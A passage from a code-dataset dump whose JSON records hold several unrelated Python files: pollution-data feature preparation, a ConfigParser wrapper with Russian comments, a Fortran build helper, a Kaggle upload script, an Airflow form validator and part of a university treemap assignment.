results\n    pickle.dump(overall_time_spent, open('submission/time.pk', 'wb'))  # save computation time\n\n\n\ndef toPredcit(concentrations_day):\n    O3=pd.DataFrame(concentrations_day['O3'].set_index(['idPolair','date'])['Valeur'])\n    O3.columns=['O3']\n    NO2=pd.DataFrame(concentrations_day['NO2'].set_index(['idPolair','date'])['Valeur'])\n    NO2.columns=['NO2']\n    PM10=pd.DataFrame(concentrations_day['PM10'].set_index(['idPolair','date'])['Valeur'])\n    PM10.columns=['PM10']\n    PM25=pd.DataFrame(concentrations_day['PM25'].set_index(['idPolair','date'])['Valeur'])\n    PM25.columns=['PM25']\n    X=pd.merge(O3,pd.merge(NO2,pd.merge(PM10,PM25,left_index=True,right_index=True,how='outer'),left_index=True,right_index=True,how='outer'),left_index=True,right_index=True,how='outer')\n    X=X.reset_index()\n    X['idPolair']=pd.to_numeric(X['idPolair'])\n    X['date']=pd.to_datetime(X['date'])\n    X=X.set_index(['idPolair','date']).sort_index()\n    i=0\n\n\n    means=X.reset_index().set_index('date').resample('D').mean()\n    del means['idPolair']\n    meanOfmeans=pd.DataFrame((np.array(means.mean().tolist()).reshape(1,4)),columns=['O3', 'NO2', 'PM10', 'PM25'])\n    meanOfmeans=pd.concat([meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans,meanOfmeans],axis=1)\n    newX=None\n    groups=X.groupby(level=0)\n    i=0\n    for name,g in groups:\n        gg=g.reset_index().set_index('date').resample('D').mean().reset_index().set_index(['idPolair','date']).fillna(method='ffill').fillna(method='bfill').fillna(means).fillna(0)\n        shape=gg.shape[0]\n        gg=pd.DataFrame(np.array(pd.concat([gg.shift(10),gg.shift(9),gg.shift(8),gg.shift(7),gg.shift(6),gg.shift(5),gg.shift(4),gg.shift(3),gg.shift(2),gg.shift(1)],axis=1).iloc[shape-1,:].tolist()).reshape(1,40),index=[name],columns=['O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25','O3', 'NO2', 'PM10', 'PM25'])\n        meanOfmeans.index=[name]\n        gg=gg.fillna(meanOfmeans)\n        if(i==0):\n            newX=gg\n        else:\n            newX=pd.concat([newX,gg])\n        i=i+1\n    return newX","sub_path":"x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"407848142","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport ConfigParser\r\nimport datetime\r\n\r\n\r\nclass Config (object):\r\n    \"\"\"\r\n    Оболочка над ConfigParser\r\n    \"\"\"\r\n    def __init__ (self, fname, readonly=False):\r\n        \"\"\"\r\n        fname -- имя файла конфига\r\n        \"\"\"\r\n        self.readonly = readonly\r\n        self.fname = fname\r\n        self.__config = ConfigParser.ConfigParser()\r\n\r\n        self.__config.read (self.fname)\r\n\r\n\r\n    def set (self, section, param, value):\r\n        \"\"\"\r\n        Установить значение параметра.\r\n        section - имя секции в файле конфига\r\n        param - имя параметра\r\n        value - устанавливаемое значение\r\n        \"\"\"\r\n        if self.readonly:\r\n            return False\r\n\r\n        section_encoded = section.encode (\"utf8\")\r\n        if not self.__config.has_section (section_encoded):\r\n            self.__config.add_section (section_encoded)\r\n\r\n        self.__config.set (section_encoded, \r\n                param.encode (\"utf8\"), \r\n                unicode (value).encode (\"utf8\"))\r\n\r\n        return self.save()\r\n\r\n\r\n    def save (self):\r\n        \"\"\"\r\n        Сохранить изменения\r\n        Возвращает True, если сохранение прошло успешно и False в противном случае\r\n        \"\"\"\r\n        if self.readonly:\r\n            return False\r\n\r\n        with open (self.fname, \"wb\") as fp:\r\n            self.__config.write (fp)\r\n\r\n        return True\r\n\r\n\r\n    def get (self, section, param):\r\n        \"\"\"\r\n        Получить значение из конфига\r\n        section - имя секции файла конфига\r\n        param - имя параметра\r\n        Возващает строку с прочитанным значением\r\n        Может бросать исключения\r\n        \"\"\"\r\n        val = self.__config.get (section.encode (\"utf8\"), \r\n                param.encode (\"utf8\"))\r\n        return unicode (val, \"utf8\", \"replace\")\r\n\r\n    \r\n    def getint (self, section, param):\r\n        \"\"\"\r\n        Получить ц��лочисленное значение из конфига\r\n        section - имя секции файла конфига\r\n        param - имя параметра\r\n        Возващает строку с прочитанным значением\r\n        Может бросать исключения\r\n        \"\"\"\r\n        return int (self.get (section, param))\r\n\r\n\r\n    def getbool (self, section, param):\r\n        \"\"\"\r\n        Получить булево значение из конфига\r\n        section - имя секции файла конфига\r\n        param - имя параметра\r\n        Возващает строку с прочитанным значением\r\n        Может бросать исключения\r\n        \"\"\"\r\n        val = self.get (section, param)\r\n\r\n        return True if val.strip().lower() == \"true\" else False\r\n\r\n\r\n    def remove_section (self, section):\r\n        \"\"\"\r\n        Удалить текцию из файла конфига\r\n        section - имя удаляемой секции\r\n        \"\"\"\r\n        section_encoded = section.encode (\"utf8\")\r\n        result1 = self.__config.remove_section (section_encoded)\r\n        result2 = self.save()\r\n\r\n        return result1 and result2\r\n\r\n\r\n    def remove_option (self, section, option):\r\n        \"\"\"\r\n        Удалить настройку из файла конфига\r\n        section - имя секции, которой принадлежит опция\r\n        option - имя удаляемой опции\r\n        \"\"\"\r\n        section_encoded = section.encode (\"utf8\")\r\n        option_encoded = option.encode (\"utf8\")\r\n\r\n        result1 = self.__config.remove_option (section_encoded, \r\n                option_encoded)\r\n\r\n        result2 = self.save()\r\n\r\n        return result1 and result2\r\n\r\n\r\n    def has_section (self, section):\r\n        \"\"\"\r\n        Возврщает True, если векция с именем section существует или False в противном случае\r\n        \"\"\"\r\n        section_encoded = section.encode (\"utf8\")\r\n        return self.__config.has_section (section_encoded)\r\n\r\n\r\nclass StringOption (object):\r\n    \"\"\"\r\n    Класс для упрощения работы со строковыми опциями\r\n    \"\"\"\r\n    def __init__ (self, config, section, param, defaultValue):\r\n        \"\"\"\r\n        config - экземпляр класса core.Config\r\n        section - секция для параметра конфига\r\n        param - имя параметра конфига\r\n        defaultValue - значение по умолчанию\r\n        \"\"\"\r\n        self.config = config\r\n        self.section = section\r\n        self.param = param\r\n        self.defaultValue = defaultValue\r\n\r\n        # Указатель на последнее возникшее исключение\r\n        # Как правило исключения игнорируются, \r\n        # поэтому это поле используется для отладки\r\n        self.error = None\r\n\r\n\r\n    def _loadParam (self):\r\n        \"\"\"\r\n        Возващает прочитанное из конфига значение из значение по умолчанию\r\n        \"\"\"\r\n        try:\r\n            val = self._loadValue()\r\n        except Exception as e:\r\n            self.error = e\r\n            val = self.defaultValue\r\n\r\n        return val\r\n\r\n\r\n    def _loadValue (self):\r\n        \"\"\"\r\n        Получить значение. В производных классах этот метод переопределяется\r\n        \"\"\"\r\n        return self.config.get (self.section, self.param)\r\n\r\n\r\n    @property\r\n    def value (self):\r\n        \"\"\"\r\n        Возвращает знвчение парамета\r\n        \"\"\"\r\n        return self._loadParam ()\r\n\r\n\r\n    @value.setter\r\n    def value (self, val):\r\n        \"\"\"\r\n        Устанавливает значение параметра\r\n        \"\"\"\r\n        self.config.set (self.section, self.param, val)\r\n\r\n\r\n    def remove_option (self):\r\n        \"\"\"\r\n        Удалить настройку\r\n        \"\"\"\r\n        self.config.remove_option (self.section, self.param)\r\n\r\n\r\nclass BooleanOption (StringOption):\r\n    \"\"\"\r\n    Булевская настройка.\r\n    Элемент управления - wx.CheckBox\r\n    \"\"\"\r\n    def __init__ (self, config, section, param, defaultValue):\r\n        super (BooleanOption, self).__init__ (config, section, param, defaultValue)\r\n\r\n\r\n    def _loadValue (self):\r\n        \"\"\"\r\n        Получить значение. В производных классах этот метод переопределяется\r\n        \"\"\"\r\n        return self.config.getbool (self.section, self.param)\r\n\r\n\r\nclass DateTimeOption (StringOption):\r\n    \"\"\"\r\n    Настройка для хранения даты и времени\r\n    \"\"\"\r\n    formatDate = \"%Y-%m-%d %H:%M:%S.%f\"\r\n\r\n    def __init__ (self, config, section, param, defaultValue):\r\n        StringOption.__init__ (self, config, section, param, defaultValue)\r\n\r\n\r\n    def _loadValue (self):\r\n        strdate = self.config.get (self.section, self.param)\r\n\r\n        try:\r\n            date = datetime.datetime.strptime (strdate, self.formatDate)\r\n        except ValueError:\r\n            return self.defaultValue\r\n\r\n        return date\r\n\r\n\r\n    @property\r\n    def value (self):\r\n        return self._loadParam ()\r\n\r\n\r\n    @value.setter\r\n    def value (self, date):\r\n        val = datetime.datetime.strftime (date, self.formatDate)\r\n        self.config.set (self.section, self.param, val)\r\n\r\n\r\nclass ListOption (StringOption):\r\n    \"\"\"\r\n    Класс для хранения настроек в виде списка. По умолчанию элементы разделяются символом \";\", но разделитель можно изменять\r\n    \"\"\"\r\n    def __init__ (self, config, section, param, defaultValue, separator=\";\"):\r\n        StringOption.__init__ (self, config, section, param, defaultValue)\r\n        self.__separator = separator\r\n\r\n\r\n    def _loadValue (self):\r\n        line = self.config.get (self.section, self.param)\r\n        items = line.split (self.__separator)\r\n        return items\r\n\r\n\r\n    @property\r\n    def value (self):\r\n        return self._loadParam ()\r\n\r\n\r\n    @value.setter\r\n    def value (self, val):\r\n        line = self.__separator.join (val)\r\n        self.config.set (self.section, self.param, line)\r\n\r\n\r\nclass IntegerOption (StringOption):\r\n    \"\"\"\r\n    Настройка для целых чисел.\r\n    Элемент управления - wx.SpinCtrl\r\n    \"\"\"\r\n    def __init__ (self, config, section, param, defaultValue):\r\n        StringOption.__init__ (self, config, section, param, defaultValue)\r\n\r\n\r\n    def _loadValue (self):\r\n        \"\"\"\r\n        Получить значение. В производных классах этот метод переопределяется\r\n        \"\"\"\r\n        return self.config.getint (self.section, self.param)\r\n\r\n\r\nclass StringListSection (object):\r\n    \"\"\"\r\n    Класс для хранения списка строк. Список хранится в отдельной секции\r\n    \"\"\"\r\n    def __init__ (self, config, section, paramname):\r\n        \"\"\"\r\n        config - экземпляр класса Config\r\n        section - имя секции для хранения списка\r\n        paramname - начало имени параметров, которые будут храниться в секции. К paramname будут добавляться порядковые числа.\r\n        \"\"\"\r\n        self._config = config\r\n        self._section = section\r\n        self._paramname = u\"%s{number}\" % paramname\r\n\r\n\r\n    def _loadValue (self):\r\n        if not self._config.has_section (self._section):\r\n            return []\r\n\r\n        result = []\r\n        index = 0\r\n        try:\r\n            while (1):\r\n                option = self._paramname.format (number=index)\r\n                subpath = self._config.get (self._section, option)\r\n                result.append (subpath)\r\n                index += 1\r\n        except ConfigParser.NoOptionError:\r\n            pass\r\n\r\n        return result\r\n\r\n\r\n    @property\r\n    def value (self):\r\n        \"\"\"\r\n        Возвращает знвчение парамета\r\n        \"\"\"\r\n        return self._loadValue ()\r\n\r\n\r\n    @value.setter\r\n    def value (self, val):\r\n        \"\"\"\r\n        Устанавливает значение параметра\r\n        \"\"\"\r\n        self._config.remove_section (self._section)\r\n\r\n        for index in range (len (val)):\r\n            option = self._paramname.format (number=index)\r\n            self._config.set (self._section, option, val[index])\r\n\r\n\r\nclass FontOption (object):\r\n    def __init__ (self, \r\n            faceNameOption, \r\n            sizeOption,\r\n            isBoldOption,\r\n            isItalicOption):\r\n        \"\"\"\r\n        faceNameOption - экземепляр класса StringOption, где хранится значение начертания шрифта\r\n        sizeOption - экземпляр класса IntegerOption, где хранится размер шрифта\r\n        isBoldOption, isItalicOption - экземпляры класса BooleanOption\r\n        \"\"\"\r\n        self.faceName = faceNameOption\r\n        self.size = sizeOption\r\n        self.bold = isBoldOption\r\n        self.italic = isItalicOption\r\n\r\n\r\nclass PageConfig (Config):\r\n    \"\"\"\r\n    Класс для хранения настроек страниц\r\n    \"\"\"\r\n    sectionName = u\"General\"\r\n    orderParamName = u\"order\"\r\n    datetimeParamName = u\"datetime\"\r\n\r\n    def __init__ (self, fname, readonly=False):\r\n        Config.__init__ (self, fname, readonly)\r\n\r\n        self.typeOption = StringOption (self, \r\n                PageConfig.sectionName, \r\n                u\"type\", u\"\")\r\n\r\n        self.orderOption = IntegerOption (self, \r\n                PageConfig.sectionName, \r\n                PageConfig.orderParamName, -1)\r\n\r\n        self.lastViewedPageOption = StringOption (self, \r\n                u\"History\", \r\n                u\"LastViewedPage\", \r\n                u\"\")\r\n\r\n        self.datetimeOption = DateTimeOption (self, \r\n                PageConfig.sectionName, \r\n                PageConfig.datetimeParamName, \r\n                None)\r\n\r\n","sub_path":"src/ljwatcher/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":12605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"232437766","text":"\n\"\"\"\nBuild LEIP executables.\n\nUsage:\n\n  ! build exectubale for selecting grid cells,\n  ! path to exectuble is returned:\n  select_x = Build( rcf, 'select' )\n  \n  ! run executable:\n  subprocess.check_call( [select_x,...] )\n  \n\"\"\"\n\n########################################################################\n###\n### common\n###\n########################################################################\n\n# common stuff:\nfrom leip_common import *\n\n\n#####################################################################\n###\n### main\n###\n#####################################################################\n\ndef Build( rcf, target ) :\n\n    \"\"\"\n    Build LEIP executable with nickname 'target' .\n    \n    Description:\n    \n        The routine will read settings from the rcfile to build\n        a requested executable. The settings are either general,\n        or specific for the executable or for the host where the\n        script is running.\n\n        First a temporary build directory is created,\n        for example on a scratch space.\n\n        The source files are then copied into the build directory.\n\n        The name of the executable to be build is read from the rc file,\n        for example 'target.x'\n\n        One of the source files is 'Makefile', which will be used\n        to compile the executable:\n            make target.x\n        The 'Makefile' should include host-specific settings from\n        an include file with a pre-defined name:\n            include Makefile_settings\n        See below for the content, which should be used in the Makefile.\n        \n        \n    Makefile settings\n    \n        Sample content of \"Makefile_settings\" written by this routine.\n        The content is written based on settings read from the rcfile.\n            \n            # compiler\n            FC = gfortran -std=f2003\n            LD = gfortran\n\n            # compiler\n            FFLAGS = -ffree-line-length-none -fimplicit-none -fdefault-real-8 -O0 -fcheck=all\n            LDFLAGS = \n\n            NETCDF_INCS = -I/opt/netcdf4/4.1.3/include\n            NETCDF_LIBS = -L/opt/netcdf4/4.1.3/LP64/lib -lnetcdff -lnetcdf\n\n    \n    Return value:\n    \n        '/path/to/target.x' : fulll path to executable that was build\n      \n    Rcfile settings:\n    \n      Main settings:\n      \n        ! source location:\n        leip.prefix                   :  ${LE}/tools/leip/vtrunk\n\n        ! build directory:\n        leip.build.prefix             :  ${PWD}/build\n\n        ! subdirs to be copied:\n        leip.build.copy.dirs          :  src\n\n        ! names of executables to be used ;\n        ! will be searched in <prefix>/bin :\n        leip.build.x.select           :  c3po_select.x\n        leip.build.x.spg2grad         :  c3po_spectral_gradient.x\n        leip.build.x.spg2rgg          :  c3po_spg2rgg.x\n\n        ! TNO HPC settings:\n        #include ${leip.prefix}/rc/host-tno-hpc.rc\n\n        ! flag groups:\n        !leip.build.compiler.flags           :  wp-r8 optim-none check\n        leip.build.compiler.flags           :  wp-r8 optim-fast     \n\n\n      Host specific settings in for example \"host-tno-hpc.rc\" :\n\n        ! compiler settings:\n        #include ${leip.prefix}/rc/compiler-gfortran.rc\n\n        ! names for libraries to be used,\n        ! for each define library specific fortran and linker flags:\n        build.libs                     :  netcdf\n\n        ! lib specific flags:\n        build.lib.netcdf.fflags        :  -I${NETCDF4_FORTRAN_HOME}/include\n        build.lib.netcdf.ldflags       :  -L${NETCDF4_FORTRAN_HOME}/lib -lnetcdff -L${NETCDF4_HOME}/lib -lnetcdf\n\n\n      Compiler settings in for example \"compiler-gfortran.rc\" :\n      \n        compiler.fc                             :  gfortran\n        compiler.ld                             :  gfortran\n\n        compiler.flags.default.fflags           :  -ffree-line-length-none -fimplicit-none\n        compiler.flags.default.ldflags          :  \n\n        compiler.flags.wp-r8.fflags             :  -fdefault-real-8\n        compiler.flags.wp-r8.ldflags            :  \n\n        compiler.flags.check.fflags             :  -fbounds-check -ffpe-trap=invalid,zero -Wall\n        compiler.flags.check.ldflags            :  \n\n        compiler.flags.optim-none.fflags        :  -O0\n        compiler.flags.optim-none.ldflags       :  \n\n        compiler.flags.optim-fast.fflags        :  -O3\n        compiler.flags.optim-fast.ldflags       :  \n\n    \"\"\"\n    \n    # modules:\n    import os\n    import shutil\n    import subprocess\n    \n    # info ...\n    logger.info( 'build \"%s\" ...' % target )\n    \n    # original:\n    leip_prefix = rcf.get( 'leip.prefix' )\n    \n    # build directory:\n    build_prefix = rcf.get( 'leip.build.prefix' )\n    \n    # create if necessary:\n    if not os.path.isdir(build_prefix) :\n        logger.info( '  create build directory %s ...' % build_prefix )\n        os.makedirs( build_prefix )\n    #endif\n    \n    # source dirs to be copied:\n    subdirs = rcf.get( 'leip.build.copy.dirs' ).split()\n    # loop:\n    for subdir in subdirs :\n        # full source path:\n        sdir = os.path.join( leip_prefix, subdir )\n        # check ...\n        if not os.path.isdir( sdir ) :\n            logger.error( 'source dir not found : %s' % sdir )\n            raise Exception\n        #endif\n        # files:\n        fnames = os.listdir( sdir )\n        # loop:\n        for fname in fnames :\n            # full path to source:\n            sfile = os.path.join( sdir, fname )\n            # skip directories:\n            if os.path.isdir(sfile) : continue\n            # full path to target file:\n            tfile = os.path.join( build_prefix, fname )\n            # copy if source is newer than destination:\n            if (not os.path.isfile(tfile)) or (os.path.getmtime(sfile) > os.path.getmtime(tfile)) :\n                # info ...\n                logger.info( '  copy %s ...' % os.path.join(subdir,fname) )\n                # copy:\n                shutil.copy( sfile, tfile )\n            #endif\n        #endfor  # files\n    #endfor  # subdirs\n    \n    # save current dir:\n    cwd = os.getcwd()\n    # goto build dir:\n    os.chdir( build_prefix)\n    \n    # makefile with machine specific settings:\n    mfile = 'Makefile_settings'\n    \n    # init content:\n    lines = []\n    lines.append( '# Make settings' )\n    lines.append( '' )\n\n    # add lines:\n    lines.append( '# compiler' )\n    lines.append( 'FC = %s' % rcf.get('compiler.fc') )\n    lines.append( 'LD = %s' % rcf.get('compiler.ld') )\n    lines.append( '' )\n\n    # flag descriptions:\n    flagnames = ['default'] + rcf.get( 'leip.build.compiler.flags' ).split()\n    # init flags:\n    fflags = ''\n    ldflags = ''\n    # add extra:\n    for flagname in flagnames :\n        # extend:\n        fflags  = fflags  + ' ' + rcf.get( 'compiler.flags.%s.fflags' % flagname )\n        ldflags = ldflags + ' ' + rcf.get( 'compiler.flags.%s.ldflags' % flagname )\n    #endfor\n    # add lines:\n    lines.append( '# compiler' )\n    lines.append( 'FFLAGS = %s' % fflags )\n    lines.append( 'LDFLAGS = %s' % ldflags )\n    lines.append( '' )\n    \n    # libs to be defined:\n    libs = rcf.get( 'build.libs' ).split()\n    # loop:\n    for lib in libs :\n        # extract:\n        fflags  = rcf.get( 'build.lib.%s.fflags' % lib )\n        ldflags = rcf.get( 'build.lib.%s.ldflags' % lib )\n        # fill:\n        lines.append( '%s_INCS = %s' % (lib.upper(),fflags) )\n        lines.append( '%s_LIBS = %s' % (lib.upper(),ldflags) )\n        lines.append( '' )\n    #endfor\n    \n    # write:\n    f = open( mfile, 'w' )\n    for line in lines : f.write( line+'\\n' )\n    f.close()\n    \n    # target executalble\n    target_x = rcf.get( 'leip.build.x.%s' % target )\n    # make:\n    command = [ 'make', target_x ]\n    # run:\n    subprocess.check_call( command )\n    \n    # back:\n    os.chdir( cwd )\n    \n    # ok\n    return os.path.join(build_prefix,target_x)\n\n#enddef Build\n","sub_path":"lotos-euros/v2.2.001_4DEnVAR/tools/meteo/bin/leip_build.py","file_name":"leip_build.py","file_ext":"py","file_size_in_byte":7849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"574797477","text":"import subprocess\nfrom os import (walk, listdir, path)\nfrom pathlib import Path\nfrom easydict import EasyDict as edict\nimport inquirer\nimport json\n\nfrom utils.paths import RESULTS_ROOT_DIR\n\n\ndef upload():\n\tparent_result_dir = Path(RESULTS_ROOT_DIR)\n\n\tupload_dir_list = []\n\n\t# Check if meta-data already exists (hence already uploaded)\n\tfor dir_name in [dir for dir in listdir(parent_result_dir)]:\n\t\tsub_dir = parent_result_dir / dir_name / \"dataset-metadata.json\"\n\t\tif not path.exists(sub_dir):\n\t\t\tupload_dir_list.append(parent_result_dir / dir_name)\n\n\t# Ask user which dir(s) to upload\n\tquestions = [\n\t\tinquirer.Checkbox('dir_selection',\n\t\t\t\t\t\t  message=\"Please, select dir(s) to upload?\",\n\t\t\t\t\t\t  choices=upload_dir_list,\n\t\t\t\t\t\t  ),\n\t]\n\tanswers = inquirer.prompt(questions)\n\n\t# populate meta-data\n\tfor dir in answers[\"dir_selection\"]:\n\t\tsession_name = \"cornell-birdcall-\" + str(dir).split(\"/\")[1].replace(\"_\", \"-\")\n\n\t\tmeta = {\n\t\t\t\"title\": session_name,\n\t\t\t\"id\": \"humblediscipulus/{}\".format(session_name),\n\t\t\t\"licenses\": [\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"CC0-1.0\"\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\n\t\twith open(dir / \"dataset-metadata.json\", \"w\") as json_file:\n\t\t\tjson_file.write(json.dumps(meta))\n\n\t# start uploading\n\tfor dir in answers[\"dir_selection\"]:\n\t\tprint(\"[ Uploading dir : {} ]\".format(str(dir)))\n\n\t\tp = subprocess.run([\"kaggle\", \"datasets\", \"create\", \"-p\", str(dir)])\n","sub_path":"utils/kaggle_upload.py","file_name":"kaggle_upload.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"440789387","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/airflow/www_rbac/validators.py\n# Compiled at: 2019-09-11 03:47:35\n# Size of source mod 2**32: 2109 bytes\nfrom wtforms.validators import EqualTo\nfrom wtforms.validators import ValidationError\n\nclass GreaterEqualThan(EqualTo):\n    \"\"\"GreaterEqualThan\"\"\"\n\n    def __call__(self, form, field):\n        try:\n            other = form[self.fieldname]\n        except KeyError:\n            raise ValidationError(field.gettext(\"Invalid field name '%s'.\" % self.fieldname))\n\n        if field.data is None or other.data is None:\n            return\n        if field.data < other.data:\n            d = {'other_label':hasattr(other, 'label') and other.label.text or self.fieldname, \n             'other_name':self.fieldname}\n            message = self.message\n            if message is None:\n                message = field.gettext('Field must be greater than or equal to %(other_label)s.' % d)\n            else:\n                message = message % d\n            raise ValidationError(message)","sub_path":"pycfiles/apache_beam-2.20.0-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64/validators.cpython-36.py","file_name":"validators.cpython-36.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"5807216","text":"\"\"\"\n=== CSC148 Fall 2016 ===\nDiane Horton and David Liu\nDepartment of Computer Science,\nUniversity of Toronto\n\n=== Module Description ===\nThis module contains the basic tree interface required by the treemap\nvisualiser. You will both add to the abstract class, and complete a\nconcrete implementation of a subclass to represent files and folders on your\ncomputer's file system.\n\"\"\"\nimport os\nfrom random import randint\nimport math\n\n\nclass AbstractTree:\n    \"\"\"A tree that is compatible with the treemap visualiser.\n\n    This is an abstract class that should not be instantiated directly.\n\n    You may NOT add any attributes, public or private, to this class.\n    However, part of this assignment will involve you adding and implementing\n    new public *methods* for this interface.\n\n    === Public Attributes ===\n    @type data_size: int\n        The total size of all leaves of this tree.\n    @type colour: (int, int, int)\n        The RGB colour value of the root of this tree.\n        Note: only the colours of leaves will influence what the user sees.\n\n    === Private Attributes ===\n    @type _root: obj | None\n        The root value of this tree, or None if this tree is empty.\n    @type _subtrees: list[AbstractTree]\n        The subtrees of this tree.\n    @type _parent_tree: AbstractTree | None\n        The parent tree of this tree; i.e., the tree that contains this tree\n        as a subtree, or None if this tree is not part of a larger tree.\n\n    === Representation Invariants ===\n    - data_size >= 0\n    - If _subtrees is not empty, then data_size is equal to the sum of the\n      data_size of each subtree.\n    - colour's elements are in the range 0-255.\n\n    - If _root is None, then _subtrees is empty, _parent_tree is None, and\n      data_size is 0.\n      This setting of attributes represents an empty tree.\n    - _subtrees IS allowed to contain empty subtrees (this makes deletion\n      a bit easier).\n\n    - if _parent_tree is not empty, then self is in _parent_tree._subtrees\n    \"\"\"\n\n    def __init__(self, root, subtrees, data_size=0):\n        \"\"\"Initialize a new AbstractTree.\n\n        If <subtrees> is empty, <data_size> is used to initialize this tree's\n        data_size. Otherwise, the <data_size> parameter is ignored, and this\n        tree's data_size is computed from the data_sizes of the subtrees.\n\n        If <subtrees> is not empty, <data_size> should not be specified.\n\n        This method sets the _parent_tree attribute for each subtree to self.\n\n        A random colour is chosen for this tree.\n\n        Precondition: if <root> is None, then <subtrees> is empty.\n\n        @type self: AbstractTree\n        @type root: object\n        @type subtrees: list[AbstractTree]\n        @type data_size: int\n        @rtype: None\n        \"\"\"\n\n        self._root = root\n        self._subtrees = subtrees\n        self._parent_tree = None\n\n        # 1. Initialize self.colour and self.data_size, according to\n        # the docstring.\n        # 2. Properly set all _parent_tree attributes in self._subtrees\n        self.data_size = data_size\n        for tree in self._subtrees:\n            self.data_size += tree.data_size\n        self.colour = (randint(0, 255), randint(0, 255), randint(0, 255))\n\n        for tree in self._subtrees:\n            tree._parent_tree = self\n\n    def is_empty(self):\n        \"\"\"Return True if this tree is empty.\n\n        @type self: AbstractTree\n        @rtype: bool\n        \"\"\"\n        return self._root is None\n\n    def generate_treemap(self, rect):\n        \"\"\"Run the treemap algorithm on this tree and return the rectangles.\n\n        Each returned tuple contains a pygame rectangle and a colour:\n        ((x, y, width, height), (r, g, b)).\n\n        One tuple should be returned per non-empty leaf in this tree.\n\n        @type self: AbstractTree\n        @type rect: (int, int, int, int)\n            Input is in the pygame format: (x, y, width, height)\n        @rtype: list[((int, int, int, int), (int, int, int))]\n        \"\"\"\n        # Read the handout carefully to help get started identifying base cases,\n        # and the outline of a recursive step.\n        #\n        # Programming tip: use \"tuple unpacking assignment\" to easily extract\n        # coordinates of a rectangle, as follows.\n        # x, y, width, height = rect\n\n        # empty tree will display nothing\n        if self.data_size == 0:\n            return []\n\n        # a leaf will display itself\n        elif self._subtrees == []:\n            return [(rect, self.colour)]\n\n        # a tree with children\n        elif rect[2] > rect[3]:   # the width is longer than height\n            rectangle = []\n            shift = 0\n            for tree in self._subtrees:\n                # determine the new width\n                proportion = tree.data_size / self.data_size\n                new_width = math.floor(proportion * rect[2])\n\n                # change x values and new_width\n                if tree == self._subtrees[-1]:\n                    new_rect = rect[0] + shift, rect[1], rect[2] - shift, \\\n                        rect[3]\n                else:\n                    new_rect = rect[0] + shift, rect[1], new_width, rect[3]\n                rectangle += tree.generate_treemap(new_rect)\n                # add to shift x values over iterations\n                shift += new_width\n\n            return rectangle\n\n        else:   # height longer than or equal to width\n            rectangle = []\n            shift = 0\n            for tree in self._subtrees:\n\n                proportion = tree.data_size / self.data_size\n                new_height = int(proportion * rect[3])\n\n                if tree == self._subtrees[-1]:\n                    new_rect = rect[0], rect[1] + shift, rect[2], \\\n                               rect[3] - shift\n                else:\n                    new_rect = rect[0], rect[1] + shift, rect[2], new_height\n                rectangle += tree.generate_treemap(new_rect)\n\n                shift += new_height\n            return rectangle\n\n    def get_separator(self):\n        \"\"\"Return the string used to separate nodes in the string\n        representation of a path from the tree root to a leaf.\n\n        Used by the treemap visualiser to generate a string displaying\n        the items from the root of the tree to the currently selected leaf.\n\n        This should be overridden by each AbstractTree subclass, to customize\n        how these items are separated for different data domains.\n\n        @type self: AbstractTree\n        @rtype: str\n        \"\"\"\n        raise NotImplementedError\n\n    def get_subtree(self):\n        \"\"\" Return subtree of self\n\n        @rtype: list[Tree]\n            A list of children of self\n        \"\"\"\n\n        return self._subtrees\n\n    def tree_post_traversal(self):\n        \"\"\"Returns a post order traversal of trees with self\n\n        @rtype: list[<FileSystemTree>]\n            returns a list of <FileSystemTree>\n        \"\"\"\n\n        # return empty list if the data size is 0\n        if self.data_size == 0:\n            return []\n\n        # return <FileSystemTree> if it has no children\n        elif len(self._subtrees) == 0:\n            return [self]\n\n        else:\n            descedants = []\n            # recurse through its children\n            for tree in self._subtrees:\n                descedants += tree.tree_post_traversal()\n            return descedants\n\n    def update_data(self):\n        \"\"\" Update the <data_size> of the tree and its ancestors\n\n        @rtype: None\n        \"\"\"\n\n        if self._parent_tree:\n            self._parent_tree.data_size = 0\n\n            # Summation of the <data_size>\n            for tree in self._parent_tree.get_subtree():\n                self._parent_tree.data_size += tree.data_size\n\n            self._parent_tree.update_data()\n\n    def increase(self):\n        \"\"\" Increase amount of self by 1%\n\n        @rtype: None\n        \"\"\"\n\n        # Round up after calculating increase and add\n        amount_increase = math.ceil(self.data_size * 0.01)\n        self.data_size += amount_increase\n\n    def decrease(self):\n        \"\"\" decrease amount of self by 1% up to minium of 1\n\n        @rtype: None\n        \"\"\"\n\n        # The minimum of <data_size> to alter is 1\n        if self.data_size > 1:\n            # Round up after calculating increase and subrract\n            amount_decrease = math.ceil(self.data_size * 0.01)\n            self.data_size -= amount_decrease\n\n\nclass FileSystemTree(AbstractTree):\n    \"\"\"A tree representation of files and folders in a file system.\n\n    The internal nodes represent folders, and the leaves represent regular\n    files (e.g., PDF documents, movie files, Python source code files, etc.).\n\n    The _root attribute stores the *name* of the folder or file, not its 